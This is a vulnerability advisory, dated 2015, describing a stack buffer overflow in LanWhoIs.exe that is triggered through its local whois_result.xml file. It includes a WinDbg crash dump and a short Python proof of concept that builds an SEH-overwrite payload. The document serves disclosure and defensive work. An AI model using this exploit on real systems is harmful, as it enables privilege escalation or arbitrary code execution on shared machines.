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[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-LANWHOIS-BUFFER-OVERFLOW-10062015.txt



Vendor:
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www.lantricks.com



Product:
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LanWhoIs.exe 1.0.1.120

LanWhoIs querys and returns domain (site) holder or IP address informations.


Vulnerability Type:
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Buffer Overflow



CVE Reference:
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N/A



Vulnerability Details:
======================

LanWhoIs contains a file parsing stack buffer overflow vulnerability. The program has a whois_result.xml
XML file located under the LanWhoIs directory. This file holds results returned from program queries. If
LanWhoIs is installed under c:\ instead of 'Program Files' etc.. on shared PC and a non adminstrator user
has access they can still edit the whois_result.xml, abusing the vuln program and possibly escalate privileges
or run arbitrary code etc.

e.g.

<WhoisResult>
  <Result>
<QueryString>216.239.37.99</QueryString>
    <ServerName>whois.arin.net</ServerName>
    <QueryDate>02.01.2005 16:17:30</QueryDate>
    <QueryType>-1</QueryType>
 
We can exploit the program by injecting malicious payload into the <QueryString> node of the local XML file
causing buffer overflow overwriting both pointers to the NSEH & SEH exception handlers & control EIP at about 676 bytes.

e.g.

<QueryString>AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....shellcode...etc..</QueryString>


WinDbg stack dump....

(2048.17cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
eax=02bdfec8 ebx=02bdff14 ecx=02bdfecc edx=41414141 esi=00000000 edi=00000000
eip=00404bc8 esp=02bdfc04 ebp=02bdfecc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

image00400000+0x4bc8:
00404bc8 8b4af8          mov     ecx,dword ptr [edx-8] ds:002b:41414139=????????
0:011> !exchain
02bdfed4: 52525252
Invalid exception stack at 42424242

registers...

EAX 00000000
ECX 52525252
EDX 7714B4AD ntdll.7714B4AD
EBX 00000000
ESP 04D0F668
EBP 04D0F688
ESI 00000000
EDI 00000000
EIP 52525252


POC code:
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Run below script, then copy and insert payload into <QueryString> </QueryString> XML node
and run the application. Next, select the address in the Results window pane and then click Query button
to run a whois lookup or use the 'F3' keyboard cmd to execute and KABOOOOOOOOOOOOOOOM!!!


file=open("C:\\hyp3rlinx\\LanTricks\LanWhoIs\\HELL","w")
payload="A"*676+"BBBB"+"RRRR"         <--------------------#KABOOOOOOOOOOOOOOOOOOM!!!
file.write(payload)
file.close()



Public Disclosure:
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October 6, 2015  




Exploitation Technique:
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Local
Tested on Windows 7 SP1



Vulnerable Parameter:
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QueryString




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by hyp3rlinx